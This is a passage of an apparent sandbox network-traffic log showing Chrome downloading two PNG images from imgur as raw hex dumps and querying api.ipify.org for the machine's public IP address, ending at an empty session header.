2025-03-26 17:07:41 UTC	1371	IN	Data Raw: fa 6a ba ef 87 61 74 b5 a3 ea 52 9e 54 9f e7 79 a3 d1 58 ab 8e c0 91 70 3a 75 88 20 08 6b d7 ae 7d e6 99 67 76 ef de 5d c9 97 af fd 46 b5 2f 9f 24 5f 51 94 aa be 7c 48 3e 08 2b 31 ad fa 05 05 05 da 5b 71 d5 92 96 96 96 98 98 18 9e 11 81 06 cc f6 ed db 47 8d 1a f5 d3 4f 3f 71 1c 17 da ea f6 96 5b 6e c9 cc cc 0c c3 d0 ea 0c 2a bb 4b 45 87 aa 0d 59 57 4b 30 db ff 0d 08 f8 f2 41 83 26 a6 27 95 05 05 05 21 dc 8f d0 5d 17 54 65 d7 ae 5d 2f bf fc f2 f7 df 7f 4f 2d 98 43 88 21 b5 6e dd fa 9e 7b ee 21 d9 88 cc d5 5e a5 08 7f 90 92 1f 4d 84 a3 5f fe 5d 77 dd 45 cf c3 97 0f f4 21 76 af 2d 49 92 42 b8 35 1b 0c 86 66 cd 9a 85 61 38 a0 01 93 97 97 37 65 ca 94 65 cb 96 51 f0 b6 a4 a4 24 84 e2 f3 dd ba 75 23 47 a8 76 ad fe fa 85 75 ac a8 94 8b ae 31 4d 89 26 cf 1e 7c f9 Data Ascii: jatRTyXp:u k}gv]F/$_Q\|H>+1[qGO?q[n*KEYWK0A&'!]Te]/O-C!n{!^M_]wE!v-IB5fa87eeQ$u#Gvu1M&\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49741	199.232.36.193	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:07:41 UTC	386	OUT	GET /0HdPsKK.png HTTP/1.1 Host: i.imgur.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:07:41 UTC	756	IN	HTTP/1.1 200 OK Connection: close Content-Length: 5579 Content-Type: image/png Last-Modified: Thu, 20 Feb 2025 02:14:56 GMT ETag: "28a8812c3aaf8af83ba5c83c58750528" x-amz-server-side-encryption: AES256 X-Amz-Cf-Pop: IAD89-P1 X-Amz-Cf-Id: YYTlmwzZRLqXoGXppDaHC3Gtdw92u8SHfCwF9eVUy31VA6g75HGzNw== cache-control: public, max-age=31536000 Accept-Ranges: bytes Date: Wed, 26 Mar 2025 17:07:41 GMT Age: 2711918 X-Served-By: cache-iad-kiad7000021-IAD, cache-lga21973-LGA X-Cache: Miss from cloudfront, HIT, HIT X-Cache-Hits: 11253, 1 X-Timer: S1743008861.446077,VS0,VE1 Strict-Transport-Security: max-age=300 Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Origin: * Server: cat factory 1.0 X-Content-Type-Options: nosniff
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 00 55 08 06 00 00 00 a6 46 3a 96 00 00 15 92 49 44 41 54 78 9c ec 9d 0b 94 5b 55 bd ff bf bf 73 92 4c 87 4e 0b 14 da 22 85 ce b4 50 40 d4 5a 44 84 76 48 ce 49 67 0a 88 2f a4 88 8a 02 ca fa 03 fe 51 c1 85 02 2e 04 9a b2 00 29 78 e1 e2 c5 07 57 91 87 d6 8b 08 f5 a2 82 80 b4 d9 c9 cc 14 aa 94 87 0f b4 0a a5 14 4a 6b a9 d4 76 66 3a d3 49 72 7e 77 9d 24 33 ce 24 fb 24 27 cf 33 e9 ec cf 5a b3 26 d9 cf ef 49 b2 7f fb bd b7 0f 0a c5 04 a1 ef c6 39 33 91 e4 d3 99 71 1a 33 e6 10 61 0a c0 53 19 98 4a a0 96 7f 87 e4 1d 0c fc 8e 40 bf d7 60 3d 9b 0a a4 9e 9e 7a f5 96 7f 7a a9 bd 56 90 d7 02 14 8a 5a 32 70 c3 9c d6 64 d2 ba 08 a0 0f 01 78 6f 05 49 fd 01 b0 1e 06 f0 d0 94 c8 e6 97 aa 28 d1 53 94 01 50 ec Data Ascii: PNGIHDRUF:IDATx[UsLN"P@ZDvHIg/Q.)xWJkvf:Ir~w$3$$'3Z&I93q3aSJ@`=zzVZ2pdxoI(SP
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: 34 f9 e0 31 ce b4 df 3b 6a 97 27 e1 a4 a1 ff 35 22 40 ec ba e2 41 15 0a 17 ec 5e d6 7a 35 11 be 61 ff 74 bd d6 d2 28 d0 7e 07 a2 f9 bc 95 d0 66 4a 06 e8 53 7b 91 78 ec 4c 20 59 bb 9b c3 fc 9c 3c 82 96 76 6f 2c 14 46 b5 00 14 05 e9 bd be cd 80 85 fb 01 cc f6 5a 4b 23 a1 1d 7c 04 9a 3f 7b 1f 68 ff 59 f2 00 7a 13 f4 a3 3e 8d d4 4b 77 d7 4c c3 10 e9 37 03 38 bb 50 18 35 08 a8 70 a4 2f d2 7a 0e 2c 7e 4a 15 fe d2 f0 7f e0 3c ec 77 f1 a3 ce 85 3f 0b cd fb 24 68 c6 09 35 d3 41 8c a5 fc ab c5 05 45 28 03 a0 90 b2 3b d2 b6 82 41 2b 01 52 ad 44 17 50 cb 74 f8 17 5d 84 c9 5f 5e 83 a6 0f 2e 07 7c 4d c5 e3 68 7e f8 da 6f 81 36 e7 63 35 12 45 5a 22 91 ba bc 60 90 da e4 ac 68 64 fa 96 b7 5d c6 8c ff f4 5a 47 4d b0 0b a6 a6 03 a4 a7 2f 1a a2 e1 d7 9a 96 fd 6f bf d7 d2 ff Data Ascii: 41;j'5"@A^z5at(~fJS{xL Y<vo,FZK#\|?{hYz>KwL78P5p/z,~J<w?$h5AE(;A+RDPt]_^.\|Mh~o6c5EZ"`hd]ZGM/o
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: fa a6 69 7e 4b 08 51 93 93 32 42 a1 d0 22 22 ac c8 3d fc 9a 08 f6 e7 54 b6 01 20 c2 25 00 bd ab 48 98 31 0d 6c c3 30 77 12 e1 16 21 c4 cd 2e b3 69 a9 e4 fb 20 42 3f 80 3c 03 60 18 e1 eb 00 1c d1 dc dc bc 33 1c 0e ff 66 4c 17 20 14 0a cd 63 a6 f5 44 da 2d 00 1d 50 3c 13 5a a2 69 78 c4 34 cd 7b ca 15 5a 6d 4c d3 bc 9d 48 8b 3b 15 fe b1 d0 c1 00 dd 69 9a e1 67 82 c1 60 0d 2f 6c af 17 e9 e7 f9 8c a6 f1 6a c3 30 9f ec e8 e8 70 bc 12 6a 22 a0 69 da 97 e5 3e 74 b0 69 9a e7 d7 53 0b 11 1d 08 d0 37 0d 23 1c eb ec ec dc bf 9e 79 0f 63 18 c6 12 66 7a 06 e0 29 cc 34 c3 6e dd 8f 18 80 70 38 7c 3c 91 b6 9e 08 c7 96 9e 34 7d ce 30 c2 45 b7 3e 31 53 4d ef 21 30 4d f3 71 80 be 52 46 d4 13 75 5d 7f 6e f1 e2 c5 ad c5 02 32 b3 f4 19 9c dc 8b f9 d5 0a db 38 a7 52 a9 67 3b 3a Data Ascii: i~KQ2B""=T %H1l0w!.i B?<`3fL cD-P<Zix4{ZmLH;ig`/lj0pj"i>tiS7#ycfz)4np8\|<4}0E>1SM!0MqRFu]n28Rg;:
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: e9 af 37 3e 22 6c 01 c6 4e 01 12 e1 7d c1 60 70 7a 57 57 97 b4 70 95 0b 33 51 0d 96 02 49 8f 5e 65 e6 25 00 d6 15 8a 18 0c 06 df 41 44 ef c9 75 27 42 a1 2f c7 69 d9 aa a3 c1 91 75 b3 b2 1a 77 15 d2 e7 44 21 63 e3 34 b7 cd 4c af 95 93 97 3b 3d e3 63 11 10 91 f6 c5 5c 37 66 fc c1 b2 ac 79 a6 69 ce cb 3a 49 47 fc 75 5d bf 14 40 91 be 75 35 e0 fb 84 10 05 c7 d7 90 5d 08 a4 eb d2 ad 3a 1b 8a 4f b9 f2 a0 5b 35 3e 66 ea 22 c2 82 5c 0f 5d d7 bf 0a c0 51 a8 69 9a 2d cc f8 1b 51 7e 6b 61 60 60 cf fe eb d6 ad ab d7 65 68 4f c9 9d e9 0b ed ed ed 77 f4 f4 f4 f4 3a 45 d4 75 5d ba 70 89 d9 f9 98 6c 22 da 29 5f ce a4 1d 59 40 e3 09 32 47 cb b2 a4 f7 b5 55 06 fd 87 dc dd 72 f8 9c 8a e1 66 1d 00 ff a3 bc b4 ab 47 38 1c 5e ca 8c 59 b9 ee 44 98 0f 50 b4 78 0a 74 7e 47 47 c7 Data Ascii: 7>"lN}`pzWWp3QI^e%ADu'B/iuwD!c4L;=c\7fyi:IGu]@u5]:O[5>f"\]Qi-Q~ka``ehOw:Eu]pl")_Y@2GUrfG8^YDPxt~GG
2025-03-26 17:07:41 UTC	95	IN	Data Raw: 4b b7 97 77 74 74 cc 4c a5 52 3f c9 f7 e1 bc 01 38 19 42 88 87 4c d3 8c e4 0f 6c 51 c1 c1 59 66 7c 57 72 26 a0 54 63 2c 16 5d 66 9a 66 22 b7 ac 11 01 93 26 4d 3a 56 b6 79 0b 99 59 80 de 0a 3e af 51 69 14 e6 ff 02 00 00 ff ff 5a 98 a3 a9 0f 7b c2 43 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: KwttLR?8BLlQYf\|Wr&Tc,]ff"&M:VyY>QiZ{CIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49742	199.232.36.193	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:07:41 UTC	386	OUT	GET /KAb5SEy.png HTTP/1.1 Host: i.imgur.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:07:41 UTC	757	IN	HTTP/1.1 200 OK Connection: close Content-Length: 48869 Content-Type: image/png Last-Modified: Thu, 20 Feb 2025 13:35:05 GMT ETag: "8aa14660517f5460156fccc2199cf83c" x-amz-server-side-encryption: AES256 X-Amz-Cf-Pop: IAD89-P1 X-Amz-Cf-Id: ZMDtIIYNSizYrfDVWXb5ZuJtkSbNLszxoUAHUCL9zZz9IlMMufkJOg== cache-control: public, max-age=31536000 Accept-Ranges: bytes Date: Wed, 26 Mar 2025 17:07:41 GMT Age: 2760934 X-Served-By: cache-iad-kjyo7100129-IAD, cache-lga21963-LGA X-Cache: Miss from cloudfront, HIT, HIT X-Cache-Hits: 14884, 1 X-Timer: S1743008861.457721,VS0,VE2 Strict-Transport-Security: max-age=300 Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Origin: * Server: cat factory 1.0 X-Content-Type-Options: nosniff
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 a7 00 00 02 3e 08 02 00 00 00 0e ee 34 d8 00 00 80 00 49 44 41 54 78 9c ec bd 77 7c 14 e5 da ff bf b3 b3 7d 37 3d 10 0c 3d 94 50 42 11 54 10 8f 22 d6 a3 1e 45 e4 b1 60 45 54 1e 11 45 ba 22 52 45 a4 89 05 eb 51 44 fd 3e 3e a8 14 c1 47 39 08 7a 10 14 50 94 5e 12 6a 28 21 04 48 48 48 d9 36 ed f7 3a 5c fe 6e c7 94 d9 cd 92 9d 6c 76 3f ef 3f 7c 6d 76 67 97 7b dc d9 f9 dc f7 75 5f 9f eb 32 29 8a 62 00 00 00 00 40 0c 60 ac ef 01 00 00 00 00 40 27 a0 fa 00 00 00 40 ac 00 d5 07 00 00 00 62 05 a8 3e 00 00 00 10 2b 40 f5 01 00 00 80 58 01 aa 0f 00 00 00 c4 0a 50 7d 00 00 00 20 56 80 ea 03 00 00 00 b1 02 54 1f 00 00 00 88 15 a0 fa 00 00 00 40 ac 00 d5 07 00 00 00 62 05 a8 3e 00 00 00 10 2b 40 f5 01 00 00 80 58 Data Ascii: PNGIHDR>4IDATxw\|}7==PBT"E`ETE"REQD>>G9zP^j(!HHH6:\nlv??\|mvg{u_2)b@`@'@b>+@XP} VT@b>+@X
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: 95 de 05 00 00 20 34 f8 a9 53 a7 d6 f7 18 40 1d 50 a9 2c 2e 7b 92 64 d8 ef f7 7f f0 c1 07 6f bf fd f6 91 23 47 2e fe df a2 cf ac a9 05 1f 1d 40 35 79 68 f6 c0 f3 bc c5 62 a9 6d 96 80 d9 6c 16 45 f1 d4 a9 53 1e 8f 27 23 23 23 35 35 d5 68 34 92 2b e1 e2 4f 01 00 00 62 13 44 f8 1b 3c b4 94 67 02 4c 79 fb a4 8e 24 90 a2 28 2e 58 b0 60 ee dc b9 a7 4e 9d ba 98 7f a8 da 9d 7e b5 47 40 7d 24 2b d3 1b f2 05 46 19 00 b4 0b f0 d8 63 8f 8d 1f 3f 1e 8e 3e 00 00 b8 48 a0 fa 51 8e db ed 9e 33 67 ce 82 05 0b ce 9d 3b 47 4b f0 da c6 c9 d5 95 74 6b 82 2d fd 69 7b be ea 4b 3c cf 57 7a 3e 18 58 8e a1 cd 66 7b e0 81 07 46 8e 1c 99 95 95 55 db 0f 01 00 00 c0 40 84 3f 4a 10 04 81 a5 eb b3 75 7f 41 41 c1 dc b9 73 17 2c 58 50 52 52 62 32 99 ec 76 bb cf e7 ab ed 27 b3 d5 3c fd 49 Data Ascii: 4S@P,.{do#G.@5yhbmlES'###55h4+ObD<gLy$(.X`N~G@}$+Fc?>HQ3g;GKtk-i{K<Wz>Xf{FU@?JuAAs,XPRRb2v'<I
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: 15 15 15 4c ec 03 a6 22 32 1f 3f 1d 4c 66 01 83 c1 30 7a f4 e8 f1 e3 c7 a7 a5 a5 85 6f c0 00 00 d0 a0 81 ea 47 1c 14 ee 0e 78 d8 a2 45 8b c6 8c 19 53 5c 5c 1c c2 3f c1 8a dd 5a ad 56 9f cf c7 71 5c db b6 6d 37 6e dc 18 17 17 67 b3 d9 2a 25 de 87 1b 51 14 1f 79 e4 91 ff fd df ff 25 39 3f 7f fe 7c b5 c2 1f 8c 8f df 6c 36 0f 1c 38 70 da b4 69 e4 33 84 9d 0f 00 00 2a 81 08 7f c4 11 8c dc 2e 5c b8 70 fa f4 e9 05 05 05 54 0a b7 b6 9f 4f 85 71 52 52 52 68 b9 7c e7 9d 77 fe f3 9f ff 6c d2 a4 09 49 be 7a 27 5e dd cb 27 4c 18 8d c6 56 ad 5a 71 1c 97 9d 9d 5d 5e 5e 6e b5 5a 5d 2e 97 db ed b6 58 2c ea 7f 9d 02 fb 26 93 a9 a6 3a 04 e4 e3 3f 79 f2 a4 ba 1f 3f 6b 4a 04 00 00 00 aa df 90 20 09 14 45 f1 bd f7 de 9b 3c 79 72 7e 7e be d9 6c 0e c1 94 4f da 69 b3 d9 4a 4b 4b Data Ascii: L"2?Lf0zoGxES\\?ZVq\m7ng%Qy%9?\|l68pi3.\pTOqRRRh\|wlIz'^'LVZq]^^nZ].X,&:?y?kJ E<yr~~lOiJKK
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: ab 55 c7 53 a9 4b a8 83 0e f9 f8 3d 1e cf d1 a3 47 7d 3e 1f 2d f4 59 25 c1 9a 36 f5 69 cb 9f 22 25 54 9e 48 14 45 af d7 0b 1f 3f 00 20 36 81 73 2f 52 c8 cb cb 9b 32 65 ca 47 1f 7d 44 5e 3b e1 02 06 83 21 2e 2e 4e 14 45 ed 7d 7d 52 7d 52 3e 2a 64 6b 36 9b 37 6e dc d8 b5 6b 57 1d cf 40 0f 3c 1e cf 8d 37 de b8 7d fb 76 b7 db cd f3 3c c9 79 40 1f bf c3 e1 50 14 85 fe 1f da 6c 36 56 d9 10 3e 7e 00 40 ac d1 90 12 bb 1a 28 1a cb 50 b6 7c cf ce ce 1e 39 72 e4 a2 45 8b e8 4f b7 db cd 5e 2a 2b 2b 23 b9 aa 94 9f cf 48 48 48 20 f7 5a 7c 7c 3c 6d ed f7 ee dd fb b7 df 7e 8b 3e c9 a7 3a 45 1b 36 6c e8 df bf 3f ed 59 24 24 24 50 be 82 c5 62 a9 94 a5 68 34 1a d9 8e 86 db ed 66 d3 26 af d7 cb be 91 05 0b 16 8c 1e 3d fa d0 a1 43 f4 67 08 e5 8d 01 00 a0 61 81 08 7f d8 d1 b0 Data Ascii: USK=G}>-Y%6i"%THE? 6s/R2eG}D^;!..NE}}R}R>dk67nkW@<7}v<y@Pl6V>~@(P\|9rEO^++#HHH Z\|\|<m~>:E6l?Y$$$Pbh4f&=Cga
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: de 7d fb f6 29 8a 02 1f 3f 00 a0 a1 03 bf 7e 18 f9 f5 d7 5f 6f bf fd f6 b3 67 cf 5a 2c 16 5a af d3 da 5d 92 24 9b cd a6 b1 bb cf 1c e7 f4 20 21 21 a1 57 af 5e 2b 57 ae b4 d9 6c fa 9e 41 83 27 64 1f bf 24 49 34 45 a3 5a fd 34 f7 1a 37 6e dc d8 b1 63 d5 7b fc 55 d3 36 01 00 20 92 81 25 a9 8e 61 8b f8 8d 1b 37 0e 1b 36 ec ec d9 b3 a4 3d 34 bb 12 45 91 84 87 49 3e 2b a7 4f e9 7b 1c c7 31 3b 7e 42 42 02 3d b8 f3 ce 3b 21 f9 a1 51 93 8f 9f 59 f6 09 da 55 61 fa 5d 5e 5e ce ea 28 78 3c 1e f6 9d be f6 da 6b 23 47 8e 3c 72 e4 08 fd 29 08 02 24 1f 00 d0 b0 40 84 bf 2e 51 14 85 dc f6 bb 76 ed 9a 31 63 c6 fa f5 eb 2d 16 8b 76 8d 17 16 6b 61 f6 3c 2a ba 27 cb b2 c7 e3 31 9b cd 4f 3e f9 e4 c8 91 23 11 58 0e 19 f2 f1 cb b2 bc 77 ef 5e b7 db 6d b7 db 5d 2e 97 db ed 66 33 Data Ascii: })?~_ogZ,Z]$ !!W^+WlA'd$I4EZ47nc{U6 %a76=4EI>+O{1;~BB=;!QYUa]^^(x<k#G<r)$@.Qv1c-vka<*'1O>#Xw^m].f3
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: 7e f8 e1 a1 87 1e ca cb cb a3 4b ba ac ac 4c 96 65 9e e7 99 c3 48 92 24 9f cf 47 9e 94 a2 a2 a2 23 47 8e dc 73 cf 3d f5 3d 70 10 5e a0 fa a1 40 92 ff eb af bf 4e 99 32 e5 f0 e1 c3 d4 2f a7 b6 6e 08 12 92 c7 1e 7b 6c c6 8c 19 b4 59 00 c9 d7 19 b5 8f bf 7b f7 ee 65 65 65 db b7 6f af ad 8f df 64 32 09 82 a0 f6 f1 53 3f 7e f8 f8 41 fd b2 7c f9 f2 91 23 47 16 14 14 50 6b 69 ba e1 a8 a7 b0 74 db 61 7d a4 14 45 39 78 f0 e0 ed b7 df de a4 49 93 7a 1d 38 08 2f 50 fd 5a 43 e1 fd a2 a2 a2 59 b3 66 ad 5e bd 3a 98 ce ad d5 62 b1 58 ee bd f7 de 09 13 26 20 1a 5c bf d0 8e 7e 72 72 72 68 3e 7e 93 c9 44 0d 96 d4 3e fe 9c 9c 1c ea c7 0f 1f 3f d0 1f bf df bf 6c d9 b2 b9 73 e7 ee dd bb 97 d5 0e b1 58 2c 0e 87 83 1e 3b 9d 4e 8a 35 92 9f 85 2e 60 45 51 44 51 6c d4 a8 51 bf 7e Data Ascii: ~KLeH$G#Gs==p^@N2/n{lY{eeeod2S?~A\|#GPkita}E9xIz8/PZCYf^:bX& \~rrrh>~D>?lsX,;N5.`EQDQlQ~
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: 6a fd e6 9b 6f d8 ce 3d 68 88 f8 fd 7e 56 a2 3c 21 21 81 1e b0 0a 3f 44 25 1f bf 06 c3 86 0d a3 8f ad a8 a8 a8 ef 33 03 0d 92 a5 4b 97 a6 a7 a7 53 05 1e 8d 2b 8d 5d a2 64 3d 65 8f 0d 06 43 62 62 22 bd da ae 5d bb e5 cb 97 d7 f7 09 01 9d 40 84 3f 00 54 63 67 e5 ca 95 9f 7f fe 39 f9 f4 6a 82 b5 cd 65 6d 2d 98 cb 6b e4 c8 91 0f 3f fc b0 d5 6a 85 71 ab e1 c2 f3 7c cb 96 2d 65 59 56 f7 e3 77 bb dd b5 ed c7 4f 1c 3b 76 4c 92 a4 bf fd ed 6f b4 4f 84 fd 1d 50 2b 96 2e 5d 3a 6d da b4 c3 87 0f 07 ac f3 a1 76 99 b2 c7 1c c7 c5 c7 c7 9f 3f 7f 5e 96 e5 ac ac ac d1 a3 47 df 7d f7 dd b8 08 63 85 fa 9e 76 44 34 1e 8f 47 51 94 bc bc bc 9b 6f be 99 fe 77 69 af f5 69 e2 4c 3d 57 d8 cc ba 53 a7 4e c7 8e 1d ab ef 53 01 75 c3 a1 43 87 fe eb bf fe 8b be 6e 5a 63 31 81 57 5f 1b Data Ascii: jo=h~V<!!?D%3KS+]d=eCbb"]@?Tcg9jem-k?jq\|-eYVwO;vLoOP+.]:mv?^G}cvD4GQowiiL=WSNSuCnZc1W_
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: be 42 20 a1 3a 36 81 2f 1f 84 15 a8 fe 5f a0 9b f5 d9 b3 67 3f f9 e4 13 ba e7 32 87 2b 9b 44 6b 7f c2 ed b7 df 7e fd f5 d7 ab df 08 a2 1e ea 9a 68 30 18 2e bd f4 d2 71 e3 c6 5d 77 dd 75 21 7c 88 d9 6c ce cb cb 5b b7 6e 5d 18 06 08 1a 12 a1 f5 cb 57 d7 d8 67 21 81 b4 b4 b4 99 33 67 3e f8 e0 83 f4 a7 28 8a 54 6d 0c 61 a4 58 06 aa ff 17 28 b8 fa d5 57 5f 9d 3c 79 92 04 5e dd 4f 5d bb 59 b5 28 8a 8d 1a 35 7a f0 c1 07 69 4a ae ee a3 0f a2 1b 8e e3 58 06 f5 35 d7 5c f3 d0 43 0f a5 a4 a4 d4 f6 43 28 ee fa d5 57 5f 51 55 47 10 83 c0 97 0f 74 00 aa ff 27 14 d2 17 45 71 e5 ca 95 ec c7 43 6d 2a 58 b1 55 ed 39 72 87 0e 1d ae bd f6 5a 0a a3 e9 38 70 50 9f b0 4b 42 10 04 7a 7c d7 5d 77 3d fc f0 c3 b5 fd 1c 59 96 39 8e db b0 61 03 25 6c 83 18 04 be 7c a0 03 50 fd 3f a1 Data Ascii: B :6/_g?2+Dk~h0.q]wu!\|l[n]Wg!3g>(TmaX(W_<y^O]Y(5ziJX5\CC(W_QUGt'EqCm*XU9rZ8pPKBz\|]w=Y9a%l\|P?
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: d0 a0 81 03 07 d2 f3 f0 e5 83 d0 80 ea 1b 28 81 bf 56 de 2a fa 8d 25 24 24 b4 6d db 56 97 01 82 86 8a cf e7 a3 1b 7d 90 f7 65 3a 8c f6 71 c3 3f 3a 10 5e c8 97 bf 7f ff fe b8 b8 38 ca c2 a3 1a ba e4 cb b7 5a ad 54 e6 ab 26 e8 56 c3 56 f9 83 06 0d 1a 3e 7c 38 7b 95 f9 f2 65 59 46 f3 5c 10 3c b8 b3 18 dc 6e 37 f5 d9 a3 1b 6e c0 58 19 a5 ee 1b 0c 86 e1 c3 87 23 b0 06 b4 d9 bb 77 2f b3 60 49 92 a4 a1 e5 14 ec 95 24 89 dc 59 8d 1b 37 d6 77 a4 a1 a0 2d 5a 31 0e f5 cb df bf 7f bf c3 e1 20 c9 af b6 5f 3e 05 17 ab 9d ea c5 c5 c5 91 ea b7 6f df fe bd f7 de 53 4b 3e 03 fd f2 41 6d c1 5a df 70 e8 d0 21 8a b6 a9 db ea 68 37 e0 a1 fb 78 46 46 06 02 6b 40 9b 9c 9c 1c 75 8a b5 46 e5 47 36 83 54 14 25 35 35 55 c7 31 d6 1a 3a 05 ab d5 4a b9 e8 f9 f9 f9 a7 4f 9f 3e 7e fc b8 Data Ascii: (V*%$$mV}e:q?:^8ZT&VV>\|8{eYF\<n7nX#w/`I$Y7w-Z1 _>oSK>AmZp!h7xFFk@uFG6T%55U1:JO>~
2025-03-26 17:07:41 UTC	1371	IN	Data Raw: fa 6a ba ef 87 61 74 b5 a3 ea 52 9e 54 9f e7 79 a3 d1 58 ab 8e c0 91 70 3a 75 88 20 08 6b d7 ae 7d e6 99 67 76 ef de 5d c9 97 af fd 46 b5 2f 9f 24 5f 51 94 aa be 7c 48 3e 08 2b 31 ad fa 05 05 05 da 5b 71 d5 92 96 96 96 98 98 18 9e 11 81 06 cc f6 ed db 47 8d 1a f5 d3 4f 3f 71 1c 17 da ea f6 96 5b 6e c9 cc cc 0c c3 d0 ea 0c 2a bb 4b 45 87 aa 0d 59 57 4b 30 db ff 0d 08 f8 f2 41 83 26 a6 27 95 05 05 05 21 dc 8f d0 5d 17 54 65 d7 ae 5d 2f bf fc f2 f7 df 7f 4f 2d 98 43 88 21 b5 6e dd fa 9e 7b ee 21 d9 88 cc d5 5e a5 08 7f 90 92 1f 4d 84 a3 5f fe 5d 77 dd 45 cf c3 97 0f f4 21 76 af 2d 49 92 42 b8 35 1b 0c 86 66 cd 9a 85 61 38 a0 01 93 97 97 37 65 ca 94 65 cb 96 51 f0 b6 a4 a4 24 84 e2 f3 dd ba 75 23 47 a8 76 ad fe fa 85 75 ac a8 94 8b ae 31 4d 89 26 cf 1e 7c f9 Data Ascii: jatRTyXp:u k}gv]F/$_Q\|H>+1[qGO?q[n*KEYWK0A&'!]Te]/O-C!n{!^M_]wE!v-IB5fa87eeQ$u#Gvu1M&\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49749	104.26.13.205	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:07:58 UTC	549	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:07:58 UTC	465	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:07:58 GMT Content-Type: application/json Content-Length: 22 Connection: close Access-Control-Allow-Origin: * Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 92683f54ba7fc64a-EWR server-timing: cfL4;desc="?proto=TCP&rtt=85364&min_rtt=85323&rtt_var=18026&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2816&recv_bytes=1121&delivery_rate=35818&cwnd=252&unsent_bytes=0&cid=3ef445f2e546f288&ts=229&x=0"
2025-03-26 17:07:58 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 34 35 2e 39 32 2e 32 32 39 2e 31 33 38 22 7d Data Ascii: {"ip":"45.92.229.138"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49750	172.67.74.152	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:07:59 UTC	389	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:07:59 UTC	432	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:07:59 GMT Content-Type: application/json Content-Length: 22 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 92683f57de9a8c2f-EWR server-timing: cfL4;desc="?proto=TCP&rtt=85653&min_rtt=85359&rtt_var=18300&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2815&recv_bytes=961&delivery_rate=35799&cwnd=252&unsent_bytes=0&cid=71b811df89a8aa74&ts=237&x=0"
2025-03-26 17:07:59 UTC	22	IN	Data Raw: 7b 22 69 70 22 3a 22 34 35 2e 39 32 2e 32 32 39 2e 31 33 38 22 7d Data Ascii: {"ip":"45.92.229.138"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49754	104.26.13.205	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
